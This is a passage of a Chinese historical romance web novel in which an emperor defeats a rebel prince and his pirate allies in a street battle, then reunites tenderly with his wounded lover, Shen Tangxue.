他轻轻低头,抵着沈棠雪的额,看着怀中人滚动着喉结时潺潺流出的鲜血,轻声呢喃地保证道: “我会……杀了他们。你安心同太医养伤。” 许是温暖的怀抱令人安心,沈棠雪攥着他的衣襟的手一松,肩头微微沉了下去,没多久便缓缓松开了手,沉沉没了意识。 李妄迟垂眸看着他,将他小心地交给太医安顿,随后再转眼时,浑身杀气难掩。 他的周身气压骤降,一步一步地起身走回层顶睥睨着街道上的人时,李妄迟的眼神冰冷。 混乱之中,侍卫已然将能救的百姓救起。 霎时街道空荡,毫无轻松的人气,取而代之的是一片凝重肃杀的黑压压一片,血腥味蔓延,叫人不自觉屏息。 正是一片倭寇与侍卫对立的胶着之象。 眼见着层顶上的人、弓箭手、将倭寇层层包围的人都已准备就绪,指挥使缓缓走上前来问道: “陛下,接下来怎么做?” 李妄迟阴沉着语气道:“全部……杀了。” 他说罢,冰冷着眼神缓缓往下望,微微眯起眼,在人群中对上了李锦殊的视线。 李锦殊站在街道正中,没了方才的气定神闲,却并未显得极其焦灼。抬眼往上望来时,眼神是凝如实质的锐利。 李锦殊与倭寇的首领站在一处时,显得更有底气几分,他微微侧过眼,向着那人吩咐道: “去把东西拿出来。” 首领紧张地身形一顿,猛地看着他,半晌隐秘地往旁边看了一看,低声道: “王上……现在便拿么?不再等等……探探他们的实力?” 李锦殊的眼神中闪过一丝不耐,语气霎时冷了下去,厉声道: “怎么,要等人死光了才肯拿?” 被他阴狠的幽幽的眼神一望,首领顿时毛骨悚然地哆嗦了一瞬。 他结结巴巴地应了声,“是……是!”便连忙哆嗦着脚步跑去交代。 而在层顶之上,李妄迟定定地看着这一切,眼睛微微眯起,不给他机会,缓缓抬起手来示意—— 霎时层顶上箭矢如雨般落下! “嗖——嗖嗖嗖!” 锐利的箭矢发出的冷光于阳光照耀下发出刺眼的光芒,叫人看不明晰。 刹那,无数倭寇被猛地射中,鲜血喷涌,直直地倒落在地。 “呃啊!” 惨叫声此起彼伏,一阵一阵愈发逼近地响在李锦殊的耳侧。 他见着面前人一个个倒下,面无表情地挪动脚步,趁着箭雨霎时微弱一瞬的间隙—— 侧身躲过,靠在一座空屋子墙旁。 “哒,哒。” 街道之上,无数侍卫形成一个半圆环齐齐向他聚来,黑压压的一片,极具压迫感。 但同样的,与此同时许多倭寇也缓缓移动身形将李锦殊围护在其中,严丝合缝叫刀剑伤不到他分毫。 李锦殊眼神凝定地站在其中,淡淡地环视一圈,随即也同样抬了抬手—— 霎时,守着的倭寇齐齐地抬起刀剑,摆了剑阵,猛地向外杀去! “杀啊——!” “锵!” 刀剑交戈声骤然响起,引起一阵血雨腥风,有人节节败退,有人攻势汹涌,霎时,层顶上倭寇的弓箭手也同样动作! 倭寇人数略劣,但在无数鲜血喷涌与气氛紧张的刺激下,反而愈显疯狂! “嗖!” 霎时两边的箭雨齐发,箭如雨下,将街道站满得站不住脚! “嗡——锵!锵锵!”“呃!” 箭矢不住打在盔甲上,声音清脆又残忍,铿锵响个不停。 已然分不清是谁的血,也分不清是哪方的血,只觉街道上嘶吼声不断,伴随着无数人倒下的闷闷重物坠落声! “嘭!” 街道气氛焦灼,肃杀之气蔓延。 在无人察觉的间隙,藏在倭寇剑阵之后的李锦殊缓缓侧身隐秘了身形。 他悄然地缓缓抬手,派了一小队人马从隐蔽的小巷绕,目的地是—— 李妄迟所在层顶的房屋! 此时的李妄迟正站在层顶,冰冷着眼神定定地看着街道上的混乱之状,视线探寻着李锦殊的行踪。 却不想一眨眼李锦殊便不见了身影。 方才李锦殊和那人说了什么?他的后手是什么? 李妄迟缓缓握紧了手中的利剑,微微眯起眼,并未放松一分。 街道上……没有什么可供躲藏的地方。 如若要藏,李锦殊的后手也只能藏在房屋里。 层顶纵观大局,但街道细微末节之处尚且空缺,李妄迟缓缓上前两步,正欲交代人去街道上搜寻一下房屋里的踪迹—— 却倏然脊背窜起一阵冷意! 他微微凝定起眼神,只分秒之间,发现右前方侍卫的剑身上泛起古怪的冷光。 他刹那间意识到了什么,猛地侧过头往旁一躲! “唰拉!” 剑身直直地擦过他的身侧而过,锐利的有些颤动地嗡鸣在他方才站着的地方! 李妄迟眼神一冷,侧眼从余光中见着身影,毫无迟疑地反手握着利剑挽了个剑花,顺势往前一刺—— 刺中方才偷袭他的倭寇的心口! 不知何时,几名倭寇涌上了层顶,行动狠戾,招招致命,出剑收招之间聚成了坚定刺杀之象。 他顿时明白李锦殊之意,眼神一凛,利剑白进红出,又紧接着扑哧一声刺入另一倭寇心口,冷喝道: “护驾!” 霎时无数侍卫涌近,将偷袭的倭寇层层包围其中。黑压压的影子交叠,形成围剿之势。 只听一阵齐刷刷的刀剑出鞘声响起,霎时血腥味蔓延——将刺杀的倭寇全数灭了个干净! “扑通。” 一个个人影毫无反抗之力地倒下,李妄迟的眼中升起一阵不自量力的嗤笑来。 他缓缓望向层顶的出口,眼神泛冷,正准备指使侍卫反击—— 却听身后骤然传来几乎要穿破耳膜的轰鸣声! “嘭!” 一阵碎石轰然崩塌声响起,房屋骤然震动摇晃,李妄迟转过眼,便见层顶隐隐有崩塌之势! “地牛翻身了——!” “地动啊,是地动啊!” 耳侧是百姓被保护着也恐慌尖叫之声,霎时街道惊慌,乱成一团。 李妄迟锐利着眼神顿了一瞬,转头朝着方才站着的层顶之处走去。 他扶着层顶旁的烟囱,一步一步小心地侧身躲在墙旁,冰冷着眼神往地面上看去—— 只见李锦殊与倭寇从黑暗的房屋之中搬出来一个巨型的物体。 那物体通体铁造,在阳光下泛着冰冷的光芒,顶上有个长长的圆口,里面似是有着圆滚滚的铁球。 竟是一座简陋的并未完善的火炮—— 威力虽不及铺天盖地,但已然够用。李妄迟瞳孔紧缩,瞬间反应过来,方才那几名刺客是声东击西! 那些人只是李锦殊刻意找来拖住他脚步的,而趁他不备将火炮运出才是他的真正目的! “嗖!” 他还未回过神来,便见对面层顶涌起微微火光。 紧接着一簇带着灼灼火焰的箭矢直直射向他们这边! “陛下!” 一股浓郁的热气扑面而来,霎时火光蔓延,李妄迟利落地躲开,往后撤了两步。 他退回人群之中,凝重着面容,示意众人往房屋下走去。不至楼梯,却见一群倭寇堵在门前涌了上来。 “唰拉——” 他们拿着锐利的刀剑,目光紧紧盯着人群中的他,眼中有势在必得的杀意! “去死吧!” 李妄迟定定地看着他们,被侍卫层层掩护在其中,眼神却是没有一丝惧意。 他只是上下地打量了一下他们,握着手中的剑利落地往前刺去,干脆地喊了一句, “杀!” 刹那,最前面的倭寇首当其中被他的利剑刺中。 李妄迟用力一按,剑身破开皮肉,唰的一声将人甩到了一旁,随即利剑抽出,又刺向了另一个人的心口。 “扑哧!” 他的利剑锋利,比任何一个人都锋利。 面对着齐齐提着剑往人群中冲的倭寇,他像最坚不可摧的利刃,杀了一波又一波,斩了一个又一个。 他硬生生地破开一条血路! 不知多久,被人群挡着的街道情状逐渐映入眼帘。 环视之中,只见街道上密密麻麻地躺了人,有倭寇有侍卫,惨烈的死意蔓延的气息涌了上来。 李妄迟缓缓攥紧手中利剑,心中一紧,带着一丝恨意与坚定地抬眼望去—— 望向了街道正中被倭寇护着的李锦殊。 第46章 第四十六章最后的终局。 李锦殊站在人群之中,看着他的眼神幽幽,神情似笑非笑,眼底有置他于死地的冷意。 而李妄迟缓缓抬起眼,眼神同样冰冷。 他顺着人群缓缓望去,越过众倭寇紧贴着警惕的肩头,望向了李锦殊身后藏匿火炮的那间黑暗房屋。 那间屋子不知何时被倭寇买下,内里空旷,其中漆黑一片。 轮廓隐约开阔,暗无灯火之时,屋内只有一扇能够窄窗隐隐透露出一点光芒……将内里状况全数掩去。 ……怪不得他们先前并未发现此地。 但此时为时已晚,再说这些也无用了。 李妄迟缓缓收回眼光,环视一圈,看清了他们如今被紧紧包围着的情景。 层顶上的倭寇弓箭手与火炮皆正对准着他们,四面围着一群倭寇,虎视眈眈地盯着此地…… 所有火力都集中在他们身上。 而他此番身边所带之人不多,兵微将寡,哪怕街道上的侍卫包围过来,分秒之间,胜算也极小。 如若要破局…… 必须得打乱他们的节奏才行。 李妄迟缓缓凝定起眼神,视线转而在李锦殊身前的火炮与他身后的屋子之间流转之时。 霎时眸光一闪,刹那想到了一个主意! 此街是刑场所在之地,杀伐重当初建造之时,为免出意外,家家户户都设了暗门。 因此此屋表面上三面环墙,除却入口便只余一扇小窗可供出入。 但实则还有个隐秘的通往外街的门! 刚刚从狱中出来的李锦殊不会知道此事,他若以自身为饵,造出个无路可逃的假象,将李锦殊引入其中,加以瓮中捉鳖之法…… 或许可行! 李妄迟想罢,不再纠结,眼神一凛,抬眼看向李锦殊被倭寇层层围护之势。 倏然,他利剑轻握,猛地往李锦殊所在的地方冲去! “唰拉——!” 利剑破空向前,疾疾地刺入一位倭寇的胸膛,霎时扑哧鲜血喷涌,战争一触即发! 无数侍卫提起刀剑来紧随其后,随他杀出一条血路! “跟着陛下——杀!” 一阵铿锵刀剑交戈声骤然响起,霎时无数侍卫与倭寇战至一处,混沌之中杀意汹涌! 李妄迟不急不躁地隐匿身形,蹿于人群之中,让藏匿的身形忽而明晰又忽而隐秘。 他的眼神锐利,面前景象如精确的线条一般在他脑中铺开,他在脑中推演着动手的路线,随即直直地冲着李锦殊而去! “唰拉!” 剑身锋利之时战势短快,李妄迟霎时抬手利落刺剑,尖锐剑锋瞬至李锦殊身前—— 下一秒却被一名倭寇挡开! “锵!” 刀锋对撞,力道顺着剑身震至手腕,李妄迟后撤一步放缓攻势,下一秒便见一众倭寇将他团团围住! “竟敢孤身往里闯——真是好勇气!” “去死吧你!” 霎时,刀剑齐齐往前刺来,攻势狠厉! 李妄迟并未被其唬到一分,他冷静地侧身躲过残影般的剑势,动作游刃有余。 待招数躲过,他凌厉着眼神反击,动作利落地抽剑收剑,剑剑致命! “唰拉——!” 一个个倭寇在他面前宛若蝼蚁,不过分秒,便被他接二连三地解决,全数倒地没了声息。 随后他缓缓抬眼直直对上李锦殊的眼神,指腹缓缓转着剑柄,半晌,毫无犹豫地猛地抽剑—— 往他的心口刺去! “嗡!” 锐利的剑锋破空而去,李锦殊猛地后撤两步躲开他的剑势退至一旁。 他阴鸷着眼神侧身随手抽出旁边人的利剑,又猛地握紧迎了上去! “铮——!” 霎时两柄利剑猛地对上,发出刺耳绵长的嗡鸣声响,剑锋摩擦发出沙沙声响时,还带着刺耳的尖锐嗡鸣! “锵!” “锵锵!” 两人的剑招愈发汹涌,攻势渐狠。觉察到一丝空隙时,李妄迟眼神冷峻。 他微微抬起下巴,又将手腕气力又续上几分,剑招愈快! “唰!” 一击凌厉的剑招以刁钻的角度涌上,李锦殊被逼得节节败退。 李妄迟不骄不躁,冷静着眼神乘胜追击,却见李锦殊呼吸渐缓冷静下来—— 随即猛地躲开,避之锋芒转攻为守! 霎时一道灵动的身影于身遭游走,步伐诡异,如游蛇一般,脚步轻盈之时,狡猾地把剑招躲开。 数十招下来,李妄迟也只能逮到一个机会,堪堪伤到他的侧颈! “嗡——!” 剑身霎时架在了李锦殊的脖子上,一道血痕划过,鲜血喷涌而出。 李妄迟握着利剑的手攥着紧,不放过他一分一毫,眼神中闪过一丝狠厉,霎时将剑身往下一按—— 却见李锦殊恍惚之间似是身形猛地一扭,用巧劲避开了来,霎时躲至一旁! 霎时四面呈空缺之象,倭寇稀稀落落地站在各处,通往屋内的道路一览无余。 无人上前挡李妄迟,也无人能拦他。 而此时……李妄迟要借屋内的窗户离开这一危险之地,也是行的。 想到方才脑子里的计划,李妄迟缓缓勾起唇角。 他心中暗自盘算,做出个声东击西假意刺杀实则要逃跑之势,猛地往屋内冲去! 李锦殊被他骤然逃开的姿态愣了一瞬,随即又本能地感觉到不对,眼神下意识地顺着他的身影望去。 却在见着他往屋内窗子直奔而去时,顿时瞳孔一缩。 李锦殊厉声吩咐道:“倒转火炮——往屋里打!” 此时街道之上,倭寇渐占上风,侍卫又群龙无首,此时听见他的声音,众人更是心中焦急。 他们孤注一掷地嘶吼一声往前冲,又迸发出无穷的力量来,将倭寇又斩了几个, “护住陛下!” 霎时混乱一片,哀嚎不断,李锦殊挑了挑眉,更加坚信了李妄迟要趁机逃跑之事。 他的眼神疯狂,眼底有势在必得的笑意,抬起手微微一动—— 霎时,无数箭矢齐发,将欲要靠近火炮的侍卫全数分隔得远离开来! “嗖!” 随着盔甲落地发出沉闷的声响,李锦殊缓缓指挥人调转火炮,将沉沉的炮口对准了李妄迟进去的屋内! 火炮带着极强的威慑力与压迫感,随即沉沉地轰鸣一声! “轰!” 霎时,一个圆滚滚的铁球在空中划出个刺眼的弧度,直直向着屋内砸去! “嘭……!” 一阵烈火蔓延,卷起一阵熊熊烈火,火焰烧得灼热,几乎要将人烧成灰烬的烫热气息扑面而来! 与此同时,壁面坍塌,无数碎石落下,落石掩盖住了小窗,将屋内堵得严实! “轰隆!” 未曾料想的是,火炮的威力大到将层顶也几乎震得坍塌。 层顶上的倭寇弓箭手也几乎站不稳,摇摇晃晃地往下坠! “王上!” 一面混乱,一面是京城层顶的侍卫趁乱出击,霎那间箭矢嗖嗖射中皮肉的打落声不断,场面一片狼藉! “嗖——”“呃啊!” 李锦殊恍若未闻,他紧盯着屋内的动静,眼神锐利,没有一丝对于同类的动容。 屋内火光蔓延,好似传来噼里啪啦如同火星闪烁的声响,窗户旁边有东西微动—— 有人身影躬身,好像吃力地要把石头搬开,要翻窗逃走—— 李锦殊顿时眼神锐利,直直拿着利剑往里面去。 他没有通知任何人,誓要以这时不再来的机会将李妄迟斩于剑下! “唰拉!” 入屋时,灼烧的火焰扑面而来,顶上掉下滋滋的火星。 李锦殊一把将其扫开,拿着锋利的利剑,带着嗜血杀意的眼神直直往里走! 转眼间,屋内一览无余,空旷的空间只余落石与掉落的房梁,空气寂静得可怕。 小窗被封得死死的,也无人挪动落石。 李锦殊隐隐感觉到不对,眼神阴沉下来—— 却骤然只觉一阵冷光闪烁,夹杂着灼热气息的火石直直朝他脑袋砸来! “嘭!” 李锦殊只觉一道滋滋声渐近,毫无防备地被砸得身形一晃,脑袋发晕! 刹那额顶迸出鲜血来,如蜿蜒的蛇一般的鲜血顺着额头流下,狰狞得可怖! 李锦殊幽幽地转眼望去,看见了被火烟呛得眼睛通红却仍一声不吭埋伏着他的李妄迟…… 和地上的方才砸在他头上被烈火烧得通红的石头。 一阵额上阵痛涌上太阳穴,几乎刺激着他的神经,李锦殊的嗓子混着血腥味,轻轻哼笑一声。 他霎时压下眼皮,眼神更为冷冽,半晌提着利剑,嘶吼着朝李妄迟发疯一般刺去! “嗡!” 李锦殊的剑势毫无章法又发疯得毫无痛感一般,刹那间利剑于火光看不明晰! 刀剑交戈之时,只听扑哧一声—— 利剑刺中了李妄迟的肩头! “唰拉——” 李锦殊得意地嗤笑一声,眼底疯狂一览无余。 他使起蛮劲,泄愤般让剑身在上面搅了一搅,顿时李妄迟的肩头血肉模糊! 霎时一阵血腥味蔓延在鼻尖,李锦殊愈发兴奋,被疼痛激发起了全身气力,正欲再次出招—— 却见那只缓缓滴下鲜血的握剑的手吃力地抬起,猛地刺进了他的心口! “扑哧!” 李锦殊瞳孔紧缩,一身透支的气力泄了个干净,霎时脸色苍白! 他的身形一晃,火光中的窒息感与逐渐愈演愈烈的疼痛叫他几乎要提不起剑。 而李妄迟的眼神中是冷冽的冰冷,他后退一步,扑哧一声将剑抽离李锦殊的体内,又反手再刺了进去! “扑哧——!” 滴答……滴答滴答滴答! 霎时李锦殊的胸膛通红一片,鲜血不住地涌下! 他好似浑身都是血,脑袋上血,心口是血,就连呼吸都几乎被火光中的灼热抢夺而尽…… 他终是支撑不住,呼吸逐渐气若游丝,半晌身形一晃,猛地跪坐下去。 李妄迟的利剑还在滴着血,他睥睨着李锦殊,缓缓冰冷地落下最后的宣判, “你、该、死、了。” 他定定地看了一瞬,呼吸粗重,脚步却是没有再停留。 他气定神闲地缓缓往旁撤步,掩在阴影之中,随即传来微不可闻的吱呀开门声。 屋中悄然只留李锦殊一人。 “咚隆!” 似是有人一声交代,无数侍卫涌上屋间的窗户旁,将沉重的巨石一个个往里面搬,夺走屋内的最后一丝光亮! 随即屋子正面倭寇与侍卫交战之地又涌上了许多人。 一群侍卫心无旁骛地涌了上去,提起刀剑对着倭寇便砍,刀剑凌厉,一时战况呈一边倒之势! “王上——王上!” 李锦殊的名字无人应答,待门外最后一道倭寇战死的倒地声响起,无数箭矢混着火光往屋里射去。 “嗖——嗖嗖!” 有箭矢刺入冰冷地面的声音,有箭矢融化于火光之中的声音…… 还有,箭矢扑哧刺入皮肉的声音。 这些声音扑哧地夹杂在火星滋滋声中听不明晰…… 直至火光尽散,一具被烧得焦黑的尸首映入眼帘。 第47章 第四十七章刹那,屋内只有很轻的呼吸…… 李妄迟进殿时,沈棠雪已然清醒地坐在床榻上,淡淡地垂下眼睫。 他的脖颈上已然敷药,传来浅淡的药香,白皙的脖颈圈着柔软细密的棉布,微微洇着血,缓缓垂落下来。 微微低垂眼眸之时,眼底是凝如实质的疲惫。 沈棠雪本就方解了体内的杜余草毒性,如今气血亏空得厉害。 又被禁锢着如人质一般于街道中走了一遭……亲眼瞧见自己的亲兄死去。几乎被抓住之时,他提剑斩杀的动作那么用力…… 如今当一切心气退去、直直坐在那里时,倒像个脆弱的琉璃娃娃。 李妄迟不由得放缓呼吸向他走去,脚步在殿内轻轻响起之时,便见沈棠雪抬起眼来看向他。 他微微轻颤眼睫,眸中如藏着万千心绪,缓缓道:“妄迟……” 却说不出声来。 他的嗓子伤得厉害,启唇之时也只能出口嘶哑的咿呀气声,如破风的琴一般,几乎失声。 ……这些时日也仍是没有好转迹象。 沈棠雪似也知晓如今自己的这副模样有点可怜又狼狈,缓缓抿起唇垂下眼眸地别过脸去。 可心上又担忧忐忑,不知此战是何情况。 他踌躇着将双手的指节交缠着无意扣动,欲言又止,只小心翼翼地看了李妄迟一眼。 见他这副模样,李妄迟心中软得一塌糊涂,觉着他实在可怜又可爱,缓缓靠近身形,轻轻将他抱入怀中。 霎时一具纤细脆弱的身形陷入他怀里,李妄迟只微微低头,便能对上他清泠泠的眼神。 他缓缓柔和下眸子,温声问怀中人道:“好些了吗?” 怀中人摇了摇头,又点了点头,柔软的发顶轻轻靠在他的胸膛,如丝绸般的乌发垂落,带着阵阵清香。 李妄迟喟叹一声,又缓缓将他环得更紧。霎时二人呼吸交缠,能够听见彼此的心跳。 在温存着二人连呼吸的频率都几乎要一致之时,李妄迟缓缓在他耳边轻道: “阿雪,李锦殊死了。” 沈棠雪猛地睁大了眼,不可思议地抬起头来。 他的眼神攒着一丝茫然和不可置信,好似在做梦一般飘飘然,刹那间,混沌的思绪好似都清明了。 他缓缓伸出双手来揪住李妄迟的衣襟,指尖都有些发颤,凑上小巧的脸颊,用那一双泛着水光的清冽眼睛睁大地看着李妄迟。 不自觉眨着双眼的模样像是在要个保证,像是在用眼神在问李妄迟:真的吗? 李妄迟顿时忍俊不禁,觉着他这副模样实在懵懂得可爱。 他扬起一个松快的笑来,靠近之时在沈棠雪的眼睛轻吻了一下,随即在他耳边一字一句保证一般轻声道: “他真的死了。” 沈棠雪缓缓睁大了眼。他顿时脑子嗡嗡的,刹那心中涌起一阵密密麻麻的无法言说的酥麻感…… 一滴泪从眼尾落下。 他的眼尾泛着一阵薄红,眸中水光潋滟,泛得瞳孔清泠泠的,像是经年的委屈和难受都倾泻而出。 滴答。 一滴清泪顺着脸颊滑落滴至被褥,晕开一道水痕。 李妄迟却觉着这滴泪好似要流到他心里去。 这些年他的阿雪遭受了这么多……在他看不见的地方受了这么多痛…… 他的心都被沈棠雪的泪眼提得一揪一揪的,转眼间眼神涌上一阵心疼之意,将眼前人抱紧了。 面前人的哽咽还带着庆幸的语调,李妄迟缓缓收紧了双臂。 他将沈棠雪紧紧地拥着,予他安心的温度,用力得像是要将他嵌入自己的血肉。 不知过了多久,他轻轻唤了一声“阿雪”,用温热的指腹将沈棠雪脸颊上的泪水轻柔地拭去。 随即倾身上去安抚般地吻住了他的唇瓣。 面前人的睫羽如蝶翼般颤动,上面挂着细小的泪珠,身子因着泪意而不住地小幅度抖动着,缓缓依靠着蜷缩在他怀里。 一时温热的唇瓣相贴,李妄迟吻得很轻,当真如安抚一般吮吸着他的唇瓣。 刹那,屋内只有很轻的呼吸交缠声与轻吻声。 沈棠雪顺着他的动作回应,湿润的眼睫微颤时,泛着水光的眸子缓缓抬眼描摹着李妄迟的五官。 温存之中,他将李妄迟仔细地看了一遍,发顶,眼睛,鼻子,唇瓣…… 最后有些身子一轻地缓缓放松下来,有些缱绻地侧过脸贴住他的侧颊。 “妄迟……” 他用气声轻喃,温热的吐息喷在李妄迟的耳后,像羽毛一样拂过。 随即搂着他的脖颈,像只小猫儿似的轻轻侧着头靠在他的肩头,柔软的小脸抵着他的颈侧。 沈棠雪病中之时还夹杂着黏糊的依恋,轻缓着呼吸时,嗓子还溢出些哼哼唧唧的上扬尾音。 李妄迟被他这般靠着,不由得眼神中柔和着笑意,心神一动地垂下头亲了亲他的发顶。 结果怀中人像是突然发现了什么一样,轻轻靠在他肩头的侧颊一顿,清冽的眼睛刹那疑惑警惕了一瞬…… 随即轻轻嗅了嗅。 刹那间,沈棠雪眼睛缓缓睁大,猛地转过眼看他,眼神探究,朱唇轻启,努力地嘶哑出声调, “你……受伤了?” 李妄迟骤然一顿,下意识地想要回避,便见沈棠雪抿了抿唇,低下头去扒他肩头的衣物。 霎时包裹得严实的纱布映入眼帘,方才因着动作之时牵动伤口而洇出血痕来,隐隐弥漫出血腥味。 沈棠雪眉头心疼地紧蹙起,指尖颤在空中不敢再碰一分,转眼用眼神问道:这是什么? 李妄迟低垂下头,耷拉着眼皮不答。 从他的神情之中,沈棠雪似是看懂了什么,霎时呼吸粗重起来。 他的神情骤然冷了下去,咬牙切齿嘶哑着声调问道:“……李锦殊砍的?” 他说得用力,语调几乎要变调得凝成实音,费力又牵动伤口的动作叫他霎时又撕心裂肺地咳嗽起来。 “咳——咳咳!” “阿雪!” 看着沈棠雪不住地颤抖着呼吸别过脸去、脖颈上的伤口涌出鲜血的模样,李妄迟大惊失色。 他慌忙颤抖地伸出手捂住沈棠雪脖颈上的伤口,颤抖地答道: “是……是他刺的,阿雪……你先别说话了……” 李妄迟急得声音都要变了调,抬步便要颤颤地去唤太医来,却被沈棠雪拉住了手。 沈棠雪紧紧攥着他的衣袖不让他走,半跪在榻上,又心疼地将他的肩头伤口看了又看。 半晌,他执着地抓着李妄迟的手腕,在他的手心写着:唤苏砚白来给你看看。 他的眼神执着凝定,攥着他手腕的手不松开一分,像是李妄迟不答应便不放手。 李妄迟心尖一颤,缓缓回握住他的手,心中涌起一股暖意的同时,还有了些更贪心的主意。 他神使鬼差地道:“那叫苏砚白来宫里,同我回宫好不好?太医院的人更好差使些……” 沈棠雪一愣,霎时定定对上李妄迟眼神,没有立刻拒绝。 此时留在谢家宅院的太医也有许多……他知晓这是李妄迟想要他回宫的借口。 宫外确是悠闲自在些,但李妄迟的伤口需要静养,不便来回跑动,再者,当初也是因着二人有所嫌隙才离宫而去…… 如今确也不便再留在谢府、再打搅谢将时了。 沈棠雪缓缓垂下眸子犹豫了片刻,轻轻点了点头,同意了。 第48章 第四十八章“我一直在等你回宫。”…… 一进殿,沁脾的暖香扑鼻而来。 暖阁似还是原来模样,只是更奢华了些,在他离开之后,似还陆陆续续添置了不少物什。 院外的花儿入冬衰败后又转眼换上新的,此时一簇一簇梅花、山茶接连开得艳丽。 沈棠雪有些诧异,缓缓转眼望去,以为是李妄迟的精心准备,却对上了他面不改色模样。 ……想必只是侍人上心。 他的眼神黯然一瞬,神色如常地收回视线。 沈棠雪缓缓环紧脖颈上的毛绒披风,只垂下眼睫往前走去。 下一秒,却霎时感觉身子一轻—— 被李妄迟抱到了床榻上。 沈棠雪猝不及防地怔了一瞬,用眼神惊慌失措地担忧看去。 他看向李妄迟还带着伤的肩头,唇间吐露出无声的气音, “妄迟——” 下一瞬,便见李妄迟打断了他的动作,缓缓倾身下来。 捧着他的脸颊吻住他的唇瓣。 霎时温热的吐息喷在脸侧,若有似无侵略性的气息蔓延在周遭,堵住了他未开口的话语。 沈棠雪缓缓睁大了眼,下意识地“唔”了一声,颤颤着湿润的眼睫抬眼望去,对上李妄迟的眼神。 这时,他才发现李妄迟并非面上展现出来的那般毫无波澜。 李妄迟的眼神幽沉,望着他的眸光灼灼,像要将他吞吃入腹。 呼吸交缠之间,那一只带着薄茧的指腹微蹭着他的眼尾,一下一下地浅揉着划圈,带着酥酥麻麻的触感。 沈棠雪不由得闭了闭眼。 一时屋内只剩二人呼吸交缠,耳边李妄迟粗重着呼吸问道: “这些花……喜欢吗?” 沈棠雪被揽在他的怀抱之中,眼尾被揉出一阵薄红,霎时显得更加可怜可爱。 他怔怔了一瞬,微微颤着眼睫,怔怔之时才懵懂地点了点头。 半晌,在脑袋反应过来骤然知晓李妄迟说的是什么之后,沈棠雪心尖一颤,微微睁大了眼。 下一秒,李妄迟虔诚地俯身吻上他的眼尾,“阿雪……” 一道诚挚又温柔的轻吻覆了上来。 那个吻仿若羽毛在他心中浅浅地划过,将他视若珍宝一般,轻缓舔舐。 沈棠雪被他禁锢在双臂之间,指尖微蜷,缓缓环住他的脖颈,呼吸颤抖。 转眼之时,便见那指腹缓缓下移,从他的侧颊划过,修长的手指一路向下,抚过他的鬓边、唇瓣、下巴…… 最终搭在他的喉结。 随着指腹若有似无地微动,传来微微粗糙摩挲的温热触感…… 霎时在他心头勾起一阵撩拨。 沈棠雪的眼神不由得有些涣散瞳孔的迷离,被勾得心尖蔓起一阵痒意,轻轻尾音上扬地哼了一声。 便听见李妄迟说这么一句, “我一直在等你回宫。” 他顿时眼睫一颤,微微颤抖地睁开眼来,眸中水光潋滟,朝着李妄迟望去。 见面前人盯着指尖所及之处,不住地在他的喉结微微画着圈,眼神晦暗不明。 随即脖颈传来一阵烫热,李妄迟轻轻搂着他,避开伤口处……吻了上来。 一阵轻微舔舐的触感覆盖在喉结上,带着几乎要至心尖的痒意,沈棠雪嗓间发出不可言说的细密呜咽。 他无心再顾及其他,喉结微滚,呼吸颤抖得厉害, “妄……” 便撞进了一双温柔得能滴出水来的眼眸中。 耳边李妄迟语气像是醇着浓郁烈酒,发沉却又带着浓重的情谊。 他启唇在沈棠雪耳畔,一字一句说得珍重, “我爱你。” 这一字一句也几乎要颤进他的心尖里。 沈棠雪眸中微动,顿时涌起一阵细腻动容的感受。他修长的指尖缓缓一动,正要说些什么…… 下一秒,却听门外传来“吱呀——”一声,有人缓缓进了屋。 霎时屋内寂静了一瞬。 沈棠雪脑袋嗡了一瞬,身子僵硬转眼望去,忙不慌轻轻推搡开李妄迟,面露慌乱。 他像小猫一样整个人蜷缩成一团,缩回角落小心地望去,眼睫颤得悄然。 李妄迟仿若也并未想到有此变故,猝不及防地愣了一下,连语气都咬牙切齿起来。 他凌厉着眼神看向来人,脸色沉得冷若冰霜, “苏、砚、白……!” 来人款步进屋,骤然感觉到一丝危险,环视一圈,似乎也觉得屋内氛围不对,脚步顿了一顿,警惕地道: “怎么了?!” 他紧张地同二人面面相觑,视线流转,半晌似乎也终于意识到了什么,笑容僵在了原地。 苏砚白的眼神中涌上一股绝望,悄然额上冒了一滴冷汗。 他稍稍退后两步,悻悻地笑了笑,打了个哈哈就打算混过去, “……不是说有人受伤了叫我来治么?两位伤患,谁来啊?” 李妄迟的眼中泛起无尽的冷意,气得颤抖地闭了闭眼,确也反应过来伤势要紧,咬牙将情绪压了下去, “……先给阿雪看看,他的颈部伤口开裂了。” 苏砚白连忙如小鸡啄米般点了点头,毫不耽搁地走到沈棠雪面前。 他利落地将药箱放至花几上,凝重着眼神端详着沈棠雪的伤口,伸出手指微微扯动纱布。 霎时便闻见淡淡药香扑鼻而来。 苏砚白紧蹙着眉头问道:“这几日敷完太医给的药有好些吗?” 沈棠雪点了点头,又摇了摇头,指着自己的喉咙,示意自己还说不出话。 ……一点声音都发不出吗? 他神情严肃地点了点头,端坐在沈棠雪面前,指尖轻捻着他脖颈纱布上的指尖微动,将其缓缓撕开。 骤然,有些狰狞可怖的细长伤口映入眼帘。 伤口呈深粉色,周遭的皮肉都泛起微微红痕,伤口微微陷进去,渗出血来,于白皙的脖颈中显得格外刺眼。 他深深地呼了一口气,小心翼翼地将沈棠雪渗血的伤口清理干净。 不知多久,他伸出指节犹豫地在沈棠雪伤口旁左右划动,最后在一处轻轻摁了一下…… 霎时听见一声隐忍的痛呼。 沈棠雪骤然呼吸粗重了一分,冷汗直冒,喉结滚动,叫人看得心中紧张不已。 他也跟着心紧紧提起,紧张起来,脊背冒着冷汗,小心翼翼地左看右看又仔细端详了一番,神情严肃。 半晌,苏砚白的神情才松快一些,随后不知多久终于松下肩头,缓缓舒了一口气, “没有伤到声带……还好,可以慢慢调养。” “当真?!” 李妄迟惊喜地道了一声,此话一出,空气都松快了不少。 沈棠雪的神情肉眼可见地放松了几分,便听李妄迟急急地继续问道: “阿雪还可以说话是不是……他多久能好?” 苏砚白一面思索着一面转过头看他,抬起手来手指掰扯着算了算日子, “少则半月,多则一月,不打紧……” “那就好……” 听着李妄迟松了一口气的声音,苏砚白的话语顿了一顿。他眼神一凛,似是察觉到什么,缓缓抬眼看向他。 对上李妄迟有些虚浮的脸色和肩头若有似无的血腥味时,苏砚白眉头微蹙,探究地问道: “你是不是也有伤?” 听此一言,李妄迟身子一僵,霎时顿住了,沉默片刻道:“我没什么……” 下一秒,床榻上的沈棠雪毫不留情地揭穿他,瞪了他一眼,不容拒绝地嘶哑着嗓子用气声唤苏砚白道: “他肩头有伤,砚白,帮他看看。” 苏砚白的神情复杂了一瞬,却是没有多说什么,抬步上前去看李妄迟的伤口。 只靠近,浓重的血腥味便扑面而来。 